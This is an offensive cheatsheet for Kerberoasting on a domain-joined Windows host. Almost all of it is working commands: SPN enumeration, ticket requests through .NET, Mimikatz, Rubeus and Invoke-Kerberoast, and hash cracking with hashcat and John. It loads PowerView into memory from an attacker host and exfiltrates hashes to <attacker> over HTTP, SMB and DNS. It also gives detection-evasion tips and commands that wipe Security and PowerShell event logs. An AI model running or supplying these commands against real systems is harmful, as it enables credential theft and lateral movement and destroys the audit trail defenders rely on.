🎟️ Kerberoasting — Local / On-Host Cheatsheet

Focused on techniques executable directly on a domain-joined Windows machine using native tools, .NET, and in-memory methods (LOTL).

⚡ Quick Reference — Attack Flow

[1] Enumerate SPNs  →  [2] Request TGS Ticket  →  [3] Extract Hash  →  [4] Crack Offline

🔎 Phase 1 — SPN Enumeration (No Tools Required)

Built-in `setspn.exe`

:: All SPNs in the domain
setspn -T DOMAIN.LOCAL -Q */*

:: All SPNs on a specific host
setspn -L hostname

:: Find SQL SPNs specifically
setspn -T DOMAIN.LOCAL -Q MSSQLSvc/*

:: Find HTTP SPNs
setspn -T DOMAIN.LOCAL -Q HTTP/*

Native PowerShell + .NET (No Imports)

# Enumerate all user accounts with SPNs via ADSI
$search = New-Object DirectoryServices.DirectorySearcher
$search.Filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$search.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname","pwdlastset"))
$results = $search.FindAll()
$results | ForEach-Object {
    Write-Host "User: $($_.Properties['samaccountname'])"
    Write-Host "SPN:  $($_.Properties['serviceprincipalname'])"
    Write-Host "PwdLastSet: $($_.Properties['pwdlastset'])"
    Write-Host "---"
}

Active Directory PowerShell Module (if available)

# Import module (requires RSAT or AD module)
Import-Module ActiveDirectory

# Get kerberoastable users
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
    -Properties ServicePrincipalName, PasswordLastSet, MemberOf |
    Select-Object Name, SamAccountName, ServicePrincipalName, PasswordLastSet |
    Sort-Object PasswordLastSet

# Find accounts with old passwords (easiest to crack)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
    -Properties ServicePrincipalName, PasswordLastSet |
    Where-Object { $_.PasswordLastSet -lt (Get-Date).AddYears(-1) } |
    Select-Object SamAccountName, PasswordLastSet, ServicePrincipalName

PowerView (PowerSploit)

# Load into memory (no disk drop)
iex (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1')

# Get all SPN users
Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName, PasswordLastSet

# Get specific SPN types
Get-DomainUser -SPN | Where-Object { $_.ServicePrincipalName -like "*SQL*" }

# Get kerberoastable users with admin rights (high value)
Get-DomainUser -SPN | Get-DomainGroup -MemberIdentity | Where-Object { $_.Name -like "*Admin*" }

🎯 Phase 2 — Ticket Request & Extraction

Method 1 — Pure .NET (No Tools, In-Memory)

# Request a single TGS ticket for a known SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
    -ArgumentList "MSSQLSvc/sqlserver.domain.local:1433"

# Verify ticket is now in cache
klist

Method 2 — Request All SPN Tickets via .NET Loop

# Enumerate SPNs and request all tickets in one loop
Add-Type -AssemblyName System.IdentityModel

$search = New-Object DirectoryServices.DirectorySearcher
$search.Filter = "(&(objectClass=user)(servicePrincipalName=*)(!samaccountname=krbtgt))"
$search.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
$search.FindAll() | ForEach-Object {
    $spn = $_.Properties['serviceprincipalname'][0]
    Write-Host "[*] Requesting ticket for: $spn"
    try {
        New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
    } catch { Write-Host "[-] Failed: $_" }
}

# Export all tickets from memory with Mimikatz after

Method 3 — Mimikatz (Export Tickets from Memory)

# After tickets are loaded into memory via .NET above

# From Mimikatz console:
kerberos::list /export          # Export all tickets to .kirbi files

# Or directly dump hash from ticket
kerberos::ask /target:MSSQLSvc/sqlserver.domain.local:1433

Method 4 — Rubeus (C# — Drop or Load In-Memory)

# Dump all kerberoastable hashes (hashcat format)
.\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat /nowrap

# Recon only — no ticket requests made
.\Rubeus.exe kerberoast /stats

# Target a single user
.\Rubeus.exe kerberoast /user:svc_mssql /format:hashcat /nowrap

# Force RC4 downgrade (faster to crack)
.\Rubeus.exe kerberoast /tgtdeleg /format:hashcat /nowrap

# Filter by stale passwords (high-value targets)
.\Rubeus.exe kerberoast /pwdsetbefore:01-01-2022 /format:hashcat /nowrap

# Roast a specific OU
.\Rubeus.exe kerberoast /ou:"OU=ServiceAccounts,DC=domain,DC=local" /format:hashcat

# Use an existing TGT (avoid touching your own credentials)
.\Rubeus.exe kerberoast /ticket:doIFuj[...]lDT0k= /format:hashcat /nowrap

Method 5 — Invoke-Kerberoast (PowerShell, No Binary Drop)

# Load PowerSploit PowerView
iex (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1')

# Get all hashes in Hashcat format
Invoke-Kerberoast -OutputFormat Hashcat |
    Select-Object -ExpandProperty Hash |
    Out-File -FilePath C:\Users\Public\hashes.txt -Encoding ASCII

# John format
Invoke-Kerberoast -OutputFormat John | Select-Object Hash | fl

# Target specific domain
Invoke-Kerberoast -Domain dev.corp.local -OutputFormat Hashcat | fl

# With alternate credentials
$pass = ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force
$cred = New-Object Management.Automation.PSCredential('DOMAIN\user', $pass)
Invoke-Kerberoast -Credential $cred -OutputFormat Hashcat | fl

Method 6 — LOTL via `klist` + `certutil` Exfil

:: View tickets currently cached
klist

:: Purge all tickets (cleanup)
klist purge

:: Inspect a specific ticket
klist tickets -v

📦 Phase 3 — Exfiltrate Hashes

# Base64 encode and print (easy copy-paste exfil)
$hash = Get-Content C:\Users\Public\hashes.txt
[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes($hash))

# Exfil via HTTP to attacker machine
$hash = Get-Content C:\Users\Public\hashes.txt -Raw
Invoke-WebRequest -Uri "http://<attacker>:8080/?h=$hash" -Method GET

# Exfil via SMB (if share available)
Copy-Item C:\Users\Public\hashes.txt \\<attacker>\share\hashes.txt

# DNS exfil (one chunk at a time)
$hash = (Get-Content C:\Users\Public\hashes.txt)[0]
Resolve-DnsName "$hash.<attacker-domain>"

🔨 Phase 4 — Crack Locally (Attacker Machine)

Hashcat Quick Reference

# RC4 / Type 23 — most common, fastest
hashcat -m 13100 hashes.txt rockyou.txt

# AES-128 / Type 17
hashcat -m 19600 hashes.txt rockyou.txt

# AES-256 / Type 18
hashcat -m 19700 hashes.txt rockyou.txt

# With rules (best64 = good balance)
hashcat -m 13100 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Combinator attack (wordlist + wordlist)
hashcat -m 13100 -a 1 hashes.txt words1.txt words2.txt

# Mask attack — 8 chars, Capital+lower+2digits
hashcat -m 13100 -a 3 hashes.txt ?u?l?l?l?l?l?d?d

# Resume a cracking session
hashcat -m 13100 hashes.txt rockyou.txt --restore

# Show cracked passwords
hashcat -m 13100 hashes.txt --show

John the Ripper

john --format=krb5tgs --wordlist=rockyou.txt hashes.txt
john --format=krb5tgs hashes.txt --show

🥷 Staying Stealthy — OPSEC on Host

Action	Stealthy Option	Why
Enumeration	ADSI .NET query or `setspn`	Looks like admin activity
Ticket request	Single target `/user:`	Less noise than bulk roasting
Avoid RC4 force	Request AES tickets	`0x17` etype in Event 4769 is a red flag
No binary drop	PowerShell in-memory	Reduces forensic artefacts
Use `/stats` first	Rubeus recon only	Zero KDC requests
Timestamp awareness	Off-hours blending	Match normal baseline traffic
Cleanup	`klist purge` post-attack	Removes ticket artefacts from memory

🧹 Post-Exploitation Cleanup

# Remove exported ticket files
Remove-Item C:\Users\Public\hashes.txt -Force
Remove-Item *.kirbi -Force

# Purge Kerberos ticket cache
klist purge

# Clear PowerShell history
Clear-History
Remove-Item (Get-PSReadLineOption).HistorySavePath -Force

# Clear Windows event logs (if admin)
wevtutil cl Security
wevtutil cl System
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

🗺️ High-Value SPN Targets

SPN Prefix	Service	Why Valuable
`MSSQLSvc/*`	SQL Server	Often runs as domain user with high privileges
`HTTP/*`	IIS / Web	May have access to web app databases
`TERMSRV/*`	RDP service	Lateral movement to servers
`exchangeMDB/*`	Exchange	Access to mail data
`WSMAN/*`	WinRM	Remote management
`SPN on Domain Admin`	Any	Instant privilege escalation if cracked

📋 One-Liner Cheatsheet

# Full LOTL pipeline — enumerate + request + dump (no tools)
Add-Type -AssemblyName System.IdentityModel; `
(New-Object DirectoryServices.DirectorySearcher([ADSI]"", `
"(&(objectClass=user)(servicePrincipalName=*)(!samaccountname=krbtgt))", `
@("samaccountname","serviceprincipalname"))).FindAll() | % { `
    $_.Properties['serviceprincipalname'] | % { `
        try { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_ } catch {} } }; klist

# Invoke-Kerberoast one-liner (needs PowerView loaded)
Invoke-Kerberoast -OutputFormat Hashcat | % { $_.Hash } | Out-File hashes.txt -Encoding ASCII

# Remote one-liner (Impacket)
GetUserSPNs.py DOMAIN/user:pass -dc-ip <DC_IP> -request -outputfile hashes.txt && hashcat -m 13100 hashes.txt rockyou.txt

🎟️ Kerberoasting — Local / On-Host Cheatsheet

⚡ Quick Reference — Attack Flow

🔎 Phase 1 — SPN Enumeration (No Tools Required)

Built-in setspn.exe

Native PowerShell + .NET (No Imports)

Active Directory PowerShell Module (if available)

PowerView (PowerSploit)

🎯 Phase 2 — Ticket Request & Extraction

Method 1 — Pure .NET (No Tools, In-Memory)

Method 2 — Request All SPN Tickets via .NET Loop

Method 3 — Mimikatz (Export Tickets from Memory)

Method 4 — Rubeus (C# — Drop or Load In-Memory)

Method 5 — Invoke-Kerberoast (PowerShell, No Binary Drop)

Method 6 — LOTL via klist + certutil Exfil

📦 Phase 3 — Exfiltrate Hashes

🔨 Phase 4 — Crack Locally (Attacker Machine)

Hashcat Quick Reference

John the Ripper

🥷 Staying Stealthy — OPSEC on Host

🧹 Post-Exploitation Cleanup

🗺️ High-Value SPN Targets

📋 One-Liner Cheatsheet

Built-in `setspn.exe`

Method 6 — LOTL via `klist` + `certutil` Exfil